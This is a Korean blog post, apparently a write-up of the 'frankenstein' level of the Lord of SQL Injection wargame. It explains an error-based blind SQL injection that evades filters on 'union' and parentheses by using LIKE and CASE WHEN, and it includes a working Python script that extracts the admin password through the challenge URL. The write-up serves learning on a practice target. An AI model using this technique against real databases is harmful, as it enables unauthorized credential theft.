| 일 | 월 | 화 | 수 | 목 | 금 | 토 |
|---|---|---|---|---|---|---|
| 1 | 2 | 3 | 4 | 5 | 6 | |
| 7 | 8 | 9 | 10 | 11 | 12 | 13 |
| 14 | 15 | 16 | 17 | 18 | 19 | 20 |
| 21 | 22 | 23 | 24 | 25 | 26 | 27 |
| 28 | 29 | 30 |
Tags
- MICROSOFT365
- DotNet
- c# 로컬포트
- TcpClient
- TCP
- lord of sql injection
- Blue Dragon
- Red Dragon
- 스냅드래곤PC
- stdout flag
- puts분석
- 홀펀칭
- puts함수
- OSI
- get local
- fclose leak
- sputn
- copilot+pc
- c# localport
- hole punching
- libhostpolicy.so
- dotnet publish
- stdout
- copilot
- xsputn
- 우분투 C#
- Los
- 스냅드래곤노트북
- fclose
- puts
Archives
- Today
- Total
Osori Development Studio
[los] frankenstein 본문

일단 union 필터링, 괄호 필터링인 것 같다. 그리고 pw를 알아내야 한다.
error based sql injection으로 풀 수 있는 문제이다. 그런데 괄호가 다 필터링 되어있어서 함수를 사용하는게 힘들 것 같다.
일단 괄호가 필요없는 like와 case when then을 사용해주기로 했다. 그리고 비밀번호의 길이를 구할 수 있는 방법이 딱히 없는 것 같아서 생각 안하기로 했다. 이건 그냥 모든 ascii 검사했는데 안나오면 그 때 멈추면 되기 때문에..
그런데 error을 어떻게 유발할까 많이 생각을 해보았고 함수는 안되서 큰수를 곱해주는 것을 생각했다. 0으로 나누는 것은 error가 뜨지 않고 warning 이 나온다.

이 방법을 사용해서 like 함수로 비밀번호를 구하는 자동화를 만들겠다.
....
그런데 0x00~0x7f까지 다 넣어봤는데 일치하지 않는다고 한다. 이러면 인코딩 방법의 차이이다.
이번에는 like로 인코딩을 비교할 수 있다는 것을 알았기 때문에 좀더 쉬울 것 같다.

이렇게 말이다. 0x25는 %이다. 이를 이용하면 xavis도 쉽게 풀 수 있었을 텐데...

그래서 이런게 나왔다. error는 정상적인 과정이다.
0xf1efeb7473f1eb6bf1e37266 이 문자열이라는 건데.. 이딴건 없었다..
id='admin'을 안넣었기 때문에 이를 넣고 다시 돌려보았다..

아니 진짜 개뻘짓을 너무 많이했다. ..........
#!/usr/bin/python
#-*-coding:utf-8 -*-
import urllib,urllib2,requests
import time
header={"Cookie":"PHPSESSID=5b4vffci2mpk9e288tab335qko"}
password=0
whole_time=0
while True :
p=False
errorEx="999999999999999*999999999999999999"
url="https://los.rubiya.kr/chall/frankenstein_b5bab23e64777e1756174ad33f14b5db.php?pw='"
url+=" or case when id='admin' and pw Like "
for i in range(48,255) :
if i==0x25 :
continue
if password!=0 :
purl=url+'0x'+format(password+i,'02x')+'25'
purl+=' then '+errorEx+' else 1 end %23'
else :
purl=url+'0x'+format(i,'02x')+'25'
purl+=' then '+errorEx+' else 1 end %23'
req=requests.get(purl,headers=header)
#print(purl)
if "addslashes" not in req.text :
password+=i
password=password<<8
print('[+]'+str(hex(password)))
p=True
break
if p==False :
print('error')
break
print('Password : '+password)
'전공쪽 > Lord of Sql injection' 카테고리의 다른 글
| [los] ouroboros (0) | 2020.12.15 |
|---|---|
| [los] phantom (0) | 2020.12.15 |
| [los] blue dragon (0) | 2020.12.15 |
| [los] red dragon (0) | 2020.12.15 |
| [los] green dragon (0) | 2020.12.15 |